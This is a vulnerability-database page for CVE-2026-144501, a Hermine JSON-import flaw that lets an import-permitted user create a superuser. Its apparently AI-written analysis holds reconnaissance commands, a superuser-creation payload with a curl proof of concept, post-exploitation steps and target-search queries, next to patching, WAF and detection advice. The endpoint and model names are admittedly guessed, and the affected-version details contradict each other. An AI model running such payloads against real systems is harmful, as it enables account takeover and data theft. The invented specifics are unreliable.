CVE Professor
/
All CVEs
CVE-2026-144501

CVE-2026-144501 — Hermine Project Hermine (0.7.1) — CWE-915

HIGH CVSS 8.8 CVE.org

Improperly controlled model selection in the license and generic JSON import of Hermine before 0.7.1 allows an authenticated user with the license or generic import permission to create or overwrite arbitrary database objects, including a superuser account, via a crafted JSON file.

Improperly controlled model selection in the license and generic JSON import of Hermine before 0.7.1 allows an authenticated user with the license or generic import permission to create or overwrite arbitrary database objects, including a superuser account, via a crafted JSON file.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑144501 – Hermine 0.7.1 “Improperly Controlled Model Selection”

(All analysis is strictly based on the official CVE entry and the information supplied above.)

🎯 What is this vulnerability?

Technical flaw
The Hermine application (v0.7.1 and earlier) exposes two JSON‑based import endpoints – one for “license” data and one for “generic” data.
Both endpoints accept a JSON payload that contains a model field, which the server uses to decide which ORM model (i.e., database table) to instantiate.
The code performs no validation of the model value against a whitelist of allowed models.
Consequently, an authenticated user who has the license or generic import permission can supply any arbitrary model name, including internal system models such as User or SuperUser.

Because the import logic blindly creates or updates the specified model instance, the attacker can:

1. Create a new user record with any attributes they choose.
2. Overwrite an existing record (e.g., an existing super‑user account) by supplying the same primary key.
3. Elevate privileges by creating a new account with role: superuser or by modifying an existing account’s role.

This is a classic “arbitrary database object creation / overwrite” flaw, mapped to CWE‑915 (Improper Control of Model/Entity Instantiation).

Authentication/Authorization
The vulnerability requires the user to be authenticated and to possess either the license import or generic import permission.
These permissions are typically granted to users who can upload license files or perform generic data imports – a role that is not normally trusted with full system administration.

Impact

  • Confidentiality – attacker can read any data via the newly created super‑user account.

  • Integrity – attacker can modify or delete arbitrary database rows.

  • Availability – attacker can delete critical records (e.g., all users), causing denial of service.

  • ⚡ Attack Chain

    NOTE: The exact URI for the import endpoints is not specified in the CVE description.
    The following example uses /api/import as a representative endpoint that demonstrates the vulnerability class.
    Replace it with the real endpoint discovered during reconnaissance.

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    Service IdentificationScan for HTTP(S) services and enumerate Herminenmap -sV -p80,443 <target>
    Version FingerprintingQuery a known endpoint that returns a version header or JSONcurl -sI https://<target>/api/version
    Permission EnumerationAttempt to access the import endpoint as a low‑privileged usercurl -s -u user:pass https://<target>/api/import
    Privilege ConfirmationVerify that the user has *license* or *generic import* rights (often indicated in the response or via a separate permissions API)curl -s -u user:pass https://<target>/api/permissions

    2. Exploitation

    Goal: Create a new super‑user account.

    Crafted JSON payload

    {
      "model": "User",
      "data": {
        "username": "admin_exploit",
        "password_hash": "$2b$12$KIXyX5e5K5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy5Z9Yy",  // bcrypt placeholder
        "role": "superuser",
        "email": "[email protected]"
      }
    }

    cURL PoC (illustrative)

    curl -X POST https://<target>/api/import \
         -H "Content-Type: application/json" \
         -u attacker:attackerpass \
         -d @payload.json

    Explanation of the PoC

  • The model field is set to User, which is the internal ORM model for user accounts.

  • The role attribute is set to superuser.

  • Because the import logic does not validate model, the request is accepted and the server creates a new User record with the supplied attributes.
  • Verification

    curl -u admin_exploit:password https://<target>/api/user/me

    If the response shows the user’s role as superuser, the attack succeeded.

    3. Post‑Exploitation

    StepActionOutcome
    Privilege EscalationLog in as the newly created super‑userFull administrative access to the Hermine instance
    Data ExfiltrationUse the super‑user account to query sensitive tables or export data via existing APIsRetrieve confidential data
    PersistenceCreate additional privileged accounts or modify system configurationMaintain long‑term control
    Denial of ServiceDelete critical tables or truncate user dataDisrupt service availability

    🌍 Real World Impact

    CVSS DimensionValueInterpretation
    ConfidentialityHigh (H)Full read access to all data via the super‑user account.
    IntegrityHigh (H)Arbitrary modification or deletion of any database row.
    AvailabilityHigh (H)Potential to delete critical data or lock out legitimate users.
    Attack VectorNetwork (N)Remote exploitation over HTTP(S).
    Attack ComplexityLow (L)Requires only an authenticated session with import permission.
    Privileges RequiredLow (L)No admin rights needed; only import permission.
    User InteractionNone (N)No UI interaction required.
    ScopeUnchanged (U)The vulnerability does not affect other logical components.

    Practical consequences

  • Enterprise environments: An attacker can compromise the entire Hermine deployment, including all user accounts, configuration settings, and stored data.
  • Regulatory impact: Loss of confidentiality may trigger GDPR, HIPAA, or other compliance violations.
  • Operational risk: Availability loss can halt critical business processes that rely on Hermine.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionsFix
    0.7.0 and earlierUpgrade to Hermine 0.7.1 or later. The patch validates the model field against a whitelist and enforces strict permission checks.

    Upgrade procedure

    # Backup current database
    pg_dump -U hermine_user hermine_db > hermine_backup.sql
    
    # Stop Hermine service
    systemctl stop hermine
    
    # Install new package
    apt-get update && apt-get install hermine=0.7.1
    
    # Restore database if needed
    # (usually not required if schema is backward compatible)

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict import endpointsConfigure the web server to allow POST /api/import only for users with the admin role. Example Nginx snippet:
    ``nginx<br>location = /api/import {<br> auth_basic "Restricted";<br> auth_basic_user_file /etc/nginx/.htpasswd;<br> # Only allow admin users via .htpasswd<br>}<br>`
    WAF / ModSecurity ruleBlock requests containing a model field that is not in the allowed list. Example ModSecurity rule:
    `modsecurity<br>SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,pass,nolog,ctl:ruleEngine=On"<br>SecRule REQUEST_BODY "@rx \"\\\"model\\\":\\s*\\\"[^\\\"]+\\\"\"" "phase:2,deny,log,msg:'Disallowed model field in JSON import'"<br>``
    Disable generic importIf the generic import is not required, disable the endpoint via application configuration or by removing the route.

    3. Detection

    IndicatorLog PatternHow to Detect
    Suspicious POST to import endpointPOST /api/importSearch web server logs for POST requests to /api/import with Content-Type: application/json.
    Unusual model valuesmodel":"User" or model":"SuperUser"Use a log‑analysis tool to flag any model field that is not in the whitelist.
    New super‑user creationCREATE USER or INSERT INTO users with role='superuser'Monitor database logs or audit trails for role changes.
    Privilege escalation attemptsAuthentication failures followed by successful login as admin_exploitCorrelate authentication logs with application logs.

    Sample log entry (illustrative)

    2026-12-03T14:22:07Z 192.168.1.100 POST /api/import 200
    User-Agent: curl/7.68.0
    Content-Type: application/json
    Payload: {"model":"User","data":{"username":"admin_exploit","role":"superuser"}}

    ⚠️ Urgency

  • CVSS score: 8.8 (High) – indicates a severe risk when exploited.
  • Exploit complexity: Low – only requires an authenticated session with import permission.
  • CISA KEV: Not listed, but the vulnerability is still exploitable and can be leveraged for significant damage.
  • Recommendation: Patch immediately. If an immediate patch is not possible, apply the workarounds above and monitor for exploitation attempts.
Priority: Critical for any environment where Hermine is exposed to untrusted users or the internet. Action: Deploy the 0.7.1 update or enforce the mitigations within 48 hours of discovery.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Hermine project Hermine"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-915
Affected Products (1)
Hermine project:Hermine (0.7.1)
References & Advisories (2)
Related CVEs
8.8
CVE-2026-145157
orange-orm before 5.6.1 contains an authorization bypass vulnerability that allows authenticated clients to ov
7.3
CVE-2026-144510
A security vulnerability has been detected in Discourse up to 2026.10.1. This affects the function UserCreator
6.4
CVE-2026-145369
### Summary Istio validation rejects the internal annotations `internal.istio.io/parent-namespace` and `inter
5.3
CVE-2026-144571
Payload 3.86.0 before 3.94.2 and 4.0.0-beta.1 before 4.0.0-beta.12 contains an access control bypass in the Mo
7.3
CVE-2026-144409
### Summary In vue-i18n v9 and later, `mergeLocaleMessage()`, `mergeDateTimeFormat()` and `mergeNumberFormat(
4.7
CVE-2026-142701
Squirrelly before 10.0.0 contains a cross-site scripting vulnerability that allows remote attackers to disable
4.3
CVE-2026-143969
SparkyFitness before 1.12.0 contains a mass assignment vulnerability that allows authenticated users to modify